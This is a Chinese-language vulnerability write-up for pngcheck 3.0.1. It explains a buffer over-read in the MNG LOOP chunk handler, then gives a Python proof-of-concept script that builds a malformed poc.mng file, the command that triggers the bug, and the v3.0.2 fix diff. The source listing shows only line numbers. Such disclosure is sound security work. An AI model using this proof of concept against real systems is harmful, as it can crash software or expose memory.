Vulns in pngcheck 3.0.1¶
漏洞概要 ¶
pngcheck 是一个用于验证 PNG / JNG / MNG 文件格式的命令行工具。该工具在处理 MNG LOOP 块时,由于未充分验证块大小 (sz
),导致缓冲区越界读取。
漏洞原理 ¶
源码地址:http://www.libpng.org/pub/png/src/pngcheck-3.0.1.zip
pngcheck.c | |
---|---|
3809 3810 3811 3812 3813 3814 3815 3816 3817 3818 3819 3820 3821 3822 3823 3824 3825 3826 3827 3828 3829 3830 3831 3832 3833 3834 3835 3836 3837 3838 3839 3840 3841 |
|
当 sz
大于缓冲区 buffer
的最大大小BS
( 32000
) 时,for
循环继续执行,造成越界读取。
漏洞复现 ¶
poc.py
#!/usr/bin/env python3
"""
PNGCheck Vulnerability POC Generator
Generates POC file demonstrating buffer over-read
vulnerability in pngcheck 3.0.1
"""
import argparse
import pathlib
import zlib
from construct import Bytes, Const, GreedyRange, Int32ub, Struct, this
Chunk = Struct(
"length" / Int32ub,
"type" / Bytes(4),
"data" / Bytes(this.length),
"crc" / Int32ub,
)
MNG = Struct(
"signature" / Const(b"\x8aM\x4e\x47\x0d\x0a\x1a\x0a"),
"chunks" / GreedyRange(Chunk),
)
def create_chunk(chunk_type: bytes, chunk_data: bytes) -> dict:
return {
"length": len(chunk_data),
"type": chunk_type,
"data": chunk_data,
"crc": zlib.crc32(chunk_type + chunk_data) & 0xFFFFFFFF,
}
def generate_poc(output_path: pathlib.Path) -> None:
# Command: pngcheck -v poc.mng
chunks = [
create_chunk(b"MHDR", b"\x00\x00\x00\x01\x00\x00\x00\x01" + b"\x00" * 20),
create_chunk(
b"LOOP",
b"\x00" # nest_level(1)
+ b"\x00\x00\x00\x01" # iteration_count(4)
+ b"\x00" # termination_condition(1)
+ b"\x00\x00\x00\x01" * 10000, # Iteration_min(4) + ...
),
create_chunk(b"MEND", b""),
]
MNG.build_file(dict(chunks=chunks), output_path)
def main():
parser = argparse.ArgumentParser(
description=(
"Generate POC files for pngcheck 3.0.1 buffer over-read "
"vulnerability (unchecked chunk size in LOOP chunk)"
)
)
parser.add_argument(
"-o",
"--output",
type=pathlib.Path,
default="poc.mng",
help="Output file path (default: poc.mng)",
)
args = parser.parse_args()
print("Generating POC...")
generate_poc(args.output)
print("POC file generated successfully")
if __name__ == "__main__":
main()
$ ./pngcheck -v poc.mng
漏洞修复 ¶
官方在 v3.0.2 版本中通过添加 sz > BS
校验修复漏洞:
@@ -3815,8 +3815,12 @@
printf("%s invalid %slength\n",
verbose? ":":fname, verbose? "":"LOOP ");
set_err(kMajorError);
- }
- if (verbose && no_err(kMinorError)) {
+ } else if (sz > BS) {
+ /* FIXME: large LOOP chunks should be supported */
+ printf("%s checking large %schunk not currently supported\n",
+ verbose? ":":fname, verbose? "":"LOOP ");
+ set_err(kMinorError);
+ } else if (verbose && no_err(kMinorError)) {
printf(": nest level = %u\n count = %lu, termination = %s\n",
(unsigned)(buffer[0]), LG(buffer+1), sz == 5?
termination_condition[0] :